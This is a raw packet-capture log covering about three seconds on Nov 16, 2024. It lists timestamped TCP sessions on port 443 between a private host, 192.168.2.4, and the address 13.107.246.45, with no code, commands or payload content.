Nov 16, 2024 20:13:15.242244959 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.242263079 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.242659092 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.242664099 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.267641068 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.267673016 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.267726898 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.267823935 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.267823935 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.268002987 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.268024921 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.268040895 CET	49944	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.268055916 CET	443	49944	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.270724058 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.270751953 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.270833969 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.271033049 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.271044970 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.354213953 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.354276896 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.354386091 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.354517937 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.354517937 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.354615927 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.354638100 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.354652882 CET	49946	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.354660034 CET	443	49946	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.357669115 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.357754946 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.358048916 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.358050108 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.358159065 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.375536919 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.375695944 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.375787020 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.375854015 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.375854015 CET	49945	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.375870943 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.375880003 CET	443	49945	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.378851891 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.378885031 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.378973007 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.379144907 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.379158020 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.733588934 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.734359026 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.734385014 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.736146927 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.736151934 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.861985922 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.862154961 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.862329006 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.862354040 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.862354040 CET	49947	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.862376928 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.862385035 CET	443	49947	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.865907907 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.865995884 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.866086960 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.866314888 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.866354942 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.965253115 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.965847015 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.965895891 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:15.966609955 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:15.966624022 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.014688015 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.015201092 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.015223026 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.015639067 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.015660048 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.080503941 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.081219912 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.081301928 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.081696987 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.081712008 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.095910072 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.096013069 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.096095085 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.096460104 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.096494913 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.096575975 CET	49948	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.096590996 CET	443	49948	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.099864960 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.099890947 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.099982023 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.100117922 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.100136042 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.117290020 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.117844105 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.117861986 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.118712902 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.118720055 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.144903898 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.145051956 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.145117998 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.145225048 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.145247936 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.145262003 CET	49949	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.145271063 CET	443	49949	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.148307085 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.148332119 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.148427010 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.148545027 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.148572922 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.208817005 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.208894968 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.209058046 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.209135056 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.209206104 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.209283113 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.209284067 CET	49950	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.209337950 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.209395885 CET	443	49950	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.212719917 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.212762117 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.212865114 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.212986946 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.213010073 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.252497911 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.252671957 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.252732992 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.252763033 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.252785921 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.252799988 CET	49951	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.252808094 CET	443	49951	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.255877018 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.255907059 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.256031990 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.256110907 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.256119967 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.604258060 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.605010033 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.605092049 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.605444908 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.605458975 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.731362104 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.731534004 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.731728077 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.731728077 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.734453917 CET	49952	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.734484911 CET	443	49952	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.734703064 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.734733105 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.734802008 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.734977007 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.734991074 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.842526913 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.843218088 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.843236923 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.843975067 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.843981981 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.891519070 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.892144918 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.892167091 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.892631054 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.892637968 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.972891092 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.972980022 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.973035097 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.973206997 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.973233938 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.973257065 CET	49953	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.973265886 CET	443	49953	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.976383924 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.976406097 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:16.976492882 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.976664066 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:16.976680040 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.005249977 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.005659103 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.005681992 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.006248951 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.006254911 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.021840096 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.021910906 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.021970987 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.021991014 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.022023916 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.022077084 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.022109032 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.022109032 CET	49954	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.022126913 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.022147894 CET	443	49954	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.024784088 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.024801970 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.024864912 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.025012970 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.025027037 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.138139963 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.138298035 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.138408899 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.138545990 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.138554096 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.138595104 CET	49956	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.138601065 CET	443	49956	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.141818047 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.141844988 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.141937971 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.142093897 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.142107010 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.313766003 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.314481020 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.314522982 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.315097094 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.315104008 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.444706917 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.444873095 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.444938898 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.445271015 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.445291042 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.445307970 CET	49955	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.445314884 CET	443	49955	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.466558933 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.469450951 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.469537020 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.469815969 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.469830990 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.471575975 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.471609116 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.471709013 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.471853971 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.471867085 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.598823071 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.598907948 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.599098921 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.599345922 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.599347115 CET	49957	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.599375010 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.599386930 CET	443	49957	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.602562904 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.602591991 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.602814913 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.602864027 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.602874041 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.732819080 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.733406067 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.733442068 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.734078884 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.734091997 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.801930904 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.803628922 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.803668022 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.804251909 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.804263115 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.862121105 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.862144947 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.862189054 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.862209082 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.862252951 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.862864017 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.862879038 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.862891912 CET	49958	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.862898111 CET	443	49958	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.871002913 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.871037006 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.871153116 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.871880054 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.871891975 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.874811888 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.875298977 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.875325918 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.875849962 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.875854969 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.938977957 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.939131975 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.939198971 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.939676046 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.939698935 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.939722061 CET	49959	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.939748049 CET	443	49959	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.943268061 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.943355083 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:17.943435907 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.943589926 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:17.943629026 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.006802082 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.006881952 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.006942987 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.007119894 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.007133961 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.007145882 CET	49960	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.007149935 CET	443	49960	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.010802031 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.010817051 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.010904074 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.011077881 CET	49965	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.011086941 CET	443	49965	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.216408968 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.217066050 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.217077017 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.217721939 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.217725992 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.342443943 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.343190908 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.343220949 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.343842983 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.343848944 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.349498987 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.349584103 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.349791050 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.350016117 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.350016117 CET	49961	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.350032091 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.350039959 CET	443	49961	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.353768110 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.353854895 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.354115009 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.354115963 CET	49966	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.354252100 CET	443	49966	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.488437891 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.489855051 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.489927053 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.489945889 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.490046024 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.490046978 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.490068913 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.490097046 CET	49962	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.490098953 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.490114927 CET	443	49962	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.493328094 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.493374109 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.493465900 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.493628025 CET	49967	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.493643045 CET	443	49967	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.611015081 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.612312078 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.612312078 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.612332106 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.612364054 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.684094906 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.684900045 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.684937000 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.685477018 CET	49964	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.685489893 CET	443	49964	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.741499901 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.741556883 CET	443	49963	13.107.246.45	192.168.2.4
Nov 16, 2024 20:13:18.741619110 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.742012978 CET	49963	443	192.168.2.4	13.107.246.45
Nov 16, 2024 20:13:18.742012978 CET	49963	443	192.168.2.4	13.107.246.45
